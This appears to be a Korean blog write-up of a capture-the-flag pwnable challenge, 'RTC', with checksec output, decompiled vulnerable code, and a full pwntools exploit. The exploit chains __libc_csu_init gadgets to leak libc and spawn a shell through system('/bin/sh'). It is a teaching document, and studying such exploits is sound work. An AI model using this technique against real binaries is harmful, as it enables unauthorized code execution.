메로나

[HackCTF] RTC (350) write-up 본문

Wargame & CTF/Pwnable

[HackCTF] RTC (350) write-up

m3r0n4 2020. 12. 29. 16:15

__libc_csu_init 에 들어있는 가젯들을 이용해 이리저리 움직이는 기법이 RTC이다. ROP해도 되는데 RTC 해봤다.

1. 보호기법 체크

  RTC checksec rtc
[*] '/root/pwn/HackCTF/RTC/rtc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

까나리 파이 없고 NX만 잇따

2. Hex-Ray

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-40h]

  setvbuf(stdin, 0LL, 2, 0LL);
  write(1, "Hey, ROP! What's Up?\n", 0x15uLL);
  return read(0, &buf, 0x200uLL);
}

까보면 머 복잡한건 없다 그냥 write, read 한번 해주고 끝난다. read에서 오버플로우 터진다.

최대한 __libc_csu_init에 있는 가젯을 이용해서 풀려고 노력했다... 마무리를 어떻게 해야할 지 잘 모르겠어서 그냥 +99부터 pr 가젯 있는거 이용해서 마무리 지었다.

3. Exploit

from pwn import *
context.log_level = 'debug'
IP = 'ctf.j0n9hyun.xyz'
PORT = '3025'

p = remote(IP, PORT)
#p = process('./rtc')
e = ELF('./rtc')
#libc = e.libc
libc = ELF('libc.so.6')

gadget_3 = e.symbols['__libc_csu_init'] + 99
gadget_2 = e.symbols['__libc_csu_init'] + 64
gadget_1 = e.symbols['__libc_csu_init'] + 90
write_plt = e.plt['write']
write_got = e.got['write']
main = e.symbols['main']

p.recv()
payload = "A" * (0x40 + 8)
payload += p64(gadget_1)
payload += p64(0)
payload += p64(1)
payload += p64(write_got)
payload += p64(6)
payload += p64(write_got)
payload += p64(1)

payload += p64(gadget_2)
payload += "A" * 8
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(main)

p.sendline(payload)

write_addr = u64(p.recv(6) + "\x00\x00")
libc_base = write_addr - libc.symbols['write']
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh\x00').next()

payload = "A" * (0x40 + 8)
payload += p64(gadget_3)
payload += p64(binsh)
payload += p64(system)

p.sendline(payload)
p.interactive()

그냥 write 함수 leak 해서 libc 주소 알아내고 그걸로 system, /bin/sh 주소 알아내서 마지막에 pr 가젯으로 rtl 해줬다 마무리가 좀 찝찝하긴 한데... 어쨌든 __libc_csu_init에 있는거 썼으니까...